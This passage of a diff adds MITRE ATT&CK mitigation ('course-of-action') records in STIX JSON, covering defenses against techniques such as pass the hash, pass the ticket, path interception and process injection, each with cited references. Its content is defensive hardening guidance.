"source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "modified": "2019-07-25T11:18:47.124Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized administrators can create new services.\n\nIdentify and block unnecessary system utilities or potentially malicious software that may be used to create services by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "type": "course-of-action", + "name": "New Service Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--b7b2c89c-09c1-4b71-ae7c-000ec2893aab", + "external_references": [ + { + "external_id": "T1050", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1050" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "modified": "2019-07-25T11:19:10.201Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Ensure logging and detection mechanisms analyze commands after being processed/interpreted, rather than the raw input. Consider utilizing the Antimalware Scan Interface (AMSI) on Windows 10 for this functionality. (Citation: Microsoft AMSI June 2015)\n\nMitigation of compressed and encrypted files sent over the network and through email may not be advised since it may impact normal operations.", + "type": "course-of-action", + "name": "Obfuscated Files or Information Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--a09375e5-63d2-4b65-8b0d-1cfe3e6304ca", + "external_references": [ + { + "external_id": "T1027", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1027" + }, + { + "source_name": "Microsoft AMSI June 2015", + "description": "Microsoft. (2015, June 9). Windows 10 to offer application developers new malware defenses. Retrieved February 12, 2018.", + "url": "https://cloudblogs.microsoft.com/microsoftsecure/2015/06/09/windows-10-to-offer-application-developers-new-malware-defenses/?source=mmpc" + } + ], + "modified": "2019-07-25T11:20:10.427Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Follow Office macro security best practices suitable for your environment. Disable Office VBA macros from executing. Even setting to disable with notification could enable unsuspecting users to execute potentially malicious macros. (Citation: TechNet Office Macro Security)\n\nFor the Office Test method, create the Registry key used to execute it and set the permissions to \"Read Control\" to prevent easy access to the key without administrator permissions or requiring Privilege Escalation. (Citation: Palo Alto Office Test Sofacy)\n\nDisable Office add-ins. If they are required, follow best practices for securing them by requiring them to be signed and disabling user notification for allowing add-ins. For some add-ins types (WLL, VBA) additional mitigation is likely required as disabling add-ins in the Office Trust Center does not disable WLL nor does it prevent VBA code from executing. (Citation: MRWLabs Office Persistence Add-ins)\n\nFor the Outlook methods, blocking macros may be ineffective as the Visual Basic engine used for these features is separate from the macro scripting engine.(Citation: SensePost Outlook Forms) Microsoft has released patches to try to address each issue. Ensure KB3191938 which blocks Outlook Visual Basic and displays a malicious code warning, KB4011091 which disables custom forms by default, and KB4011162 which removes the legacy Home Page feature, are applied to systems.(Citation: SensePost Outlook Home Page)", + "type": "course-of-action", + "name": "Office Application Startup Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--8ca6a5e0-aae5-49bc-8d07-f888c7dba9ea", + "external_references": [ + { + "external_id": "T1137", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1137" + }, + { + "source_name": "TechNet Office Macro Security", + "description": "Microsoft Malware Protection Center. (2016, March 22). New feature in Office 2016 can block macros and help prevent infection. Retrieved July 3, 2017.", + "url": "https://blogs.technet.microsoft.com/mmpc/2016/03/22/new-feature-in-office-2016-can-block-macros-and-help-prevent-infection/" + }, + { + "source_name": "Palo Alto Office Test Sofacy", + "description": "Falcone, R. (2016, July 20). Technical Walkthrough: Office Test Persistence Method Used In Recent Sofacy Attacks. Retrieved July 3, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2016/07/unit42-technical-walkthrough-office-test-persistence-method-used-in-recent-sofacy-attacks/" + }, + { + "source_name": "MRWLabs Office Persistence Add-ins", + "description": "Knowles, W. (2017, April 21). Add-In Opportunities for Office Persistence. Retrieved July 3, 2017.", + "url": "https://labs.mwrinfosecurity.com/blog/add-in-opportunities-for-office-persistence/" + }, + { + "source_name": "SensePost Outlook Forms", + "description": "Stalmans, E. (2017, April 28). Outlook Forms and Shells. Retrieved February 4, 2019.", + "url": "https://sensepost.com/blog/2017/outlook-forms-and-shells/" + }, + { + "source_name": "SensePost Outlook Home Page", + "description": "Stalmans, E. (2017, October 11). Outlook Home Page \u2013 Another Ruler Vector. Retrieved February 4, 2019.", + "url": "https://sensepost.com/blog/2017/outlook-home-page-another-ruler-vector/" + } + ], + "modified": "2019-07-25T11:20:31.203Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Make configuration changes related to the operating system or a common feature of the operating system that result in system hardening against techniques.", + "type": "course-of-action", + "name": "Operating System Configuration", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3", + "external_references": [ + { + "external_id": "M1028", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/M1028" + } + ], + "modified": "2019-06-06T21:16:18.709Z", + "x_mitre_version": "1.0", + "created": "2019-06-06T21:16:18.709Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Monitor systems and domain logs for unusual credential logon activity. Prevent access to [Valid Accounts](https://attack.mitre.org/techniques/T1078). Apply patch KB2871997 to Windows 7 and higher systems to limit the default access of accounts in the local administrator group. \n\nEnable pass the hash mitigations to apply UAC restrictions to local accounts on network logon. The associated Registry key is located HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\LocalAccountTokenFilterPolicy Through GPO: Computer Configuration > [Policies] > Administrative Templates > SCM: Pass the Hash Mitigations: Apply UAC restrictions to local accounts on network logons. (Citation: GitHub IAD Secure Host Baseline UAC Filtering)\n\nLimit credential overlap across systems to prevent the damage of credential compromise and reduce the adversary's ability to perform Lateral Movement between systems. Ensure that built-in and created local administrator accounts have complex, unique passwords. Do not allow a domain user to be in the local administrator group on multiple systems.", + "type": "course-of-action", + "name": "Pass the Hash Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--bcee7b05-89a6-41a5-b7aa-fce4da7ede9e", + "external_references": [ + { + "external_id": "T1075", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1075" + }, + { + "source_name": "GitHub IAD Secure Host Baseline UAC Filtering", + "description": "NSA IAD. (2017, January 24). MS Security Guide. Retrieved December 18, 2017.", + "url": "https://github.com/iadgov/Secure-Host-Baseline/blob/master/Windows/Group%20Policy%20Templates/en-US/SecGuide.adml" + } + ], + "modified": "2019-07-25T11:21:20.411Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Monitor domains for unusual credential logons. Limit credential overlap across systems to prevent the damage of credential compromise. Ensure that local administrator accounts have complex, unique passwords. Do not allow a user to be a local administrator for multiple systems. Limit domain admin account permissions to domain controllers and limited servers. Delegate other admin functions to separate accounts. (Citation: ADSecurity AD Kerberos Attacks)\n\nFor containing the impact of a previously generated golden ticket, reset the built-in KRBTGT account password twice, which will invalidate any existing golden tickets that have been created with the KRBTGT hash and other Kerberos tickets derived from it. (Citation: CERT-EU Golden Ticket Protection)\n\nAttempt to identify and block unknown or malicious software that could be used to obtain Kerberos tickets and use them to authenticate by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "type": "course-of-action", + "name": "Pass the Ticket Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--3a476d83-43eb-4fad-9b75-b1febd834e3d", + "external_references": [ + { + "external_id": "T1097", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1097" + }, + { + "source_name": "ADSecurity AD Kerberos Attacks", + "description": "Metcalf, S. (2014, November 22). Mimikatz and Active Directory Kerberos Attacks. Retrieved June 2, 2016.", + "url": "https://adsecurity.org/?p=556" + }, + { + "source_name": "CERT-EU Golden Ticket Protection", + "description": "Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016, April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017.", + "url": "https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "modified": "2019-07-25T11:21:52.775Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Ensure only valid password filters are registered. Filter DLLs must be present in Windows installation directory (C:\\Windows\\System32\\ by default) of a domain controller and/or local computer with a corresponding entry in HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Notification Packages. (Citation: Microsoft Install Password Filter n.d)", + "type": "course-of-action", + "name": "Password Filter DLL Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--00d7d21b-69d6-4797-88a2-c86f3fc97651", + "external_references": [ + { + "external_id": "T1174", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1174" + }, + { + "source_name": "Microsoft Install Password Filter n.d", + "description": "Microsoft. (n.d.). Installing and Registering a Password Filter DLL. Retrieved November 21, 2017.", + "url": "https://msdn.microsoft.com/library/windows/desktop/ms721766.aspx" + } + ], + "modified": "2019-07-25T11:22:19.139Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Set and enforce secure password policies for accounts.", + "type": "course-of-action", + "id": "course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Password Policies", + "external_references": [ + { + "external_id": "M1027", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/M1027" + } + ], + "modified": "2019-06-06T21:10:35.792Z", + "x_mitre_version": "1.0", + "created": "2019-06-06T21:10:35.792Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Mitigating discovery of password policies is not advised since the information is required to be known by systems and users of a network. Ensure password policies are such that they mitigate brute force attacks yet will not give an adversary an information advantage because the policies are too light. Active Directory is a common way to set and enforce password policies throughout an enterprise network. (Citation: Microsoft Password Complexity)", + "type": "course-of-action", + "name": "Password Policy Discovery Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--49961e75-b493-423a-9ec7-ac2d6f55384a", + "external_references": [ + { + "external_id": "T1201", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1201" + }, + { + "source_name": "Microsoft Password Complexity", + "description": "Hall, J., Lich, B. (2017, September 9). Password must meet complexity requirements. Retrieved April 5, 2018.", + "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/password-must-meet-complexity-requirements" + } + ], + "modified": "2019-07-25T11:22:39.929Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Eliminate path interception weaknesses in program configuration files, scripts, the PATH environment variable, services, and in shortcuts by surrounding PATH variables with quotation marks when functions allow for them (Citation: Microsoft CreateProcess). Be aware of the search order Windows uses for executing or loading binaries and use fully qualified paths wherever appropriate (Citation: MSDN DLL Security). Clean up old Windows Registry keys when software is uninstalled to avoid keys with no associated legitimate binaries.\n\nPeriodically search for and correct or report path interception weaknesses on systems that may have been introduced using custom or available tools that report software using insecure path configurations (Citation: Kanthak Sentinel). \n\nRequire that all executables be placed in write-protected directories. Ensure that proper permissions and directory access control are set to deny users the ability to write files to the top-level directory C: and system directories, such as C:\\Windows\\, to reduce places where malicious files could be placed for execution.\n\nIdentify and block potentially malicious software that may be executed through the path interception by using whitelisting (Citation: Beechey 2010) tools, like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies, (Citation: Corio 2008) that are capable of auditing and/or blocking unknown executables.", + "type": "course-of-action", + "name": "Path Interception Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--e0703d4f-3972-424a-8277-84004817e024", + "external_references": [ + { + "external_id": "T1034", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1034" + }, + { + "source_name": "Microsoft CreateProcess", + "description": "Microsoft. (n.d.). CreateProcess function. Retrieved December 5, 2014.", + "url": "http://msdn.microsoft.com/en-us/library/ms682425" + }, + { + "source_name": "MSDN DLL Security", + "description": "Microsoft. (n.d.). Dynamic-Link Library Security. Retrieved July 25, 2016.", + "url": "https://msdn.microsoft.com/en-us/library/ff919712.aspx" + }, + { + "source_name": "Kanthak Sentinel", + "description": "Kanthak, S. (2016, July 20). Vulnerability and Exploit Detector. Retrieved February 3, 2017.", + "url": "https://skanthak.homepage.t-online.de/sentinel.html" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + } + ], + "modified": "2019-07-25T11:23:00.772Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about peripheral devices, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "type": "course-of-action", + "name": "Peripheral Device Discovery Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--1881da33-fdf2-4eea-afd0-e04caf9c000f", + "external_references": [ + { + "external_id": "T1120", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1120" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "modified": "2019-07-25T11:23:29.354Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about groups and permissions, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "type": "course-of-action", + "name": "Permission Groups Discovery Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--dd9a85ad-6a92-4986-a215-b01d0ce7b987", + "external_references": [ + { + "external_id": "T1069", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1069" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. 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Retrieved July 23, 2015.", + "url": "https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/" + } + ], + "modified": "2019-07-25T11:26:37.066Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Use strong passphrases for private keys to make cracking difficult. When possible, store keys on separate cryptographic hardware instead of on the local system. Ensure only authorized keys are allowed access to critical resources and audit access lists regularly. Ensure permissions are properly set on folders containing sensitive private keys to prevent unintended access. Use separate infrastructure for managing critical systems to prevent overlap of credentials and permissions on systems that could be used as vectors for lateral movement. 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(Citation: TechNet Applocker vs SRP)", + "type": "course-of-action", + "name": "Process Discovery Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--f6469191-1814-4dbe-a081-2a6daf83a10b", + "external_references": [ + { + "external_id": "T1057", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1057" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "modified": "2019-07-25T11:27:30.259Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "This type of attack technique cannot be easily mitigated with preventive controls or patched since it is based on the abuse of operating system design features. For example, mitigating specific API calls will likely have unintended side effects, such as preventing legitimate process-loading mechanisms from operating properly. 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(Citation: TechNet Applocker vs SRP)", + "type": "course-of-action", + "name": "Process Doppelg\u00e4nging Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--34d6a2ef-370e-4d21-a34b-6208b7c78f31", + "external_references": [ + { + "external_id": "T1186", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1186" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "modified": "2019-07-25T11:27:53.526Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating specific API calls will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. 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(Citation: TechNet Applocker vs SRP)", + "type": "course-of-action", + "name": "Process Hollowing Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--7c39ebbf-244e-4d1c-b0ac-b282453ece43", + "external_references": [ + { + "external_id": "T1093", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1093" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "modified": "2019-07-25T11:28:17.117Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating specific Windows API calls will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior. (Citation: GDSecurity Linux injection)\n\nIdentify or block potentially malicious software that may contain process injection functionality by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)\n\nUtilize Yama (Citation: Linux kernel Yama) to mitigate ptrace based process injection by restricting the use of ptrace to privileged users only. Other mitigation controls involve the deployment of security kernel modules that provide advanced access control and process restrictions such as SELinux (Citation: SELinux official), grsecurity (Citation: grsecurity official), and AppAmour (Citation: AppArmor official).", + "type": "course-of-action", + "name": "Process Injection Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--74febc44-8955-4e4d-aca0-d4dad2f967d7", + "external_references": [ + { + "external_id": "T1055", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1055" + }, + { + "source_name": "GDSecurity Linux injection", + "description": "McNamara, R. (2017, September 5). Linux Based Inter-Process Code Injection Without Ptrace(2). Retrieved December 20, 2017.", + "url": "https://blog.gdssecurity.com/labs/2017/9/5/linux-based-inter-process-code-injection-without-ptrace2.html" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "source_name": 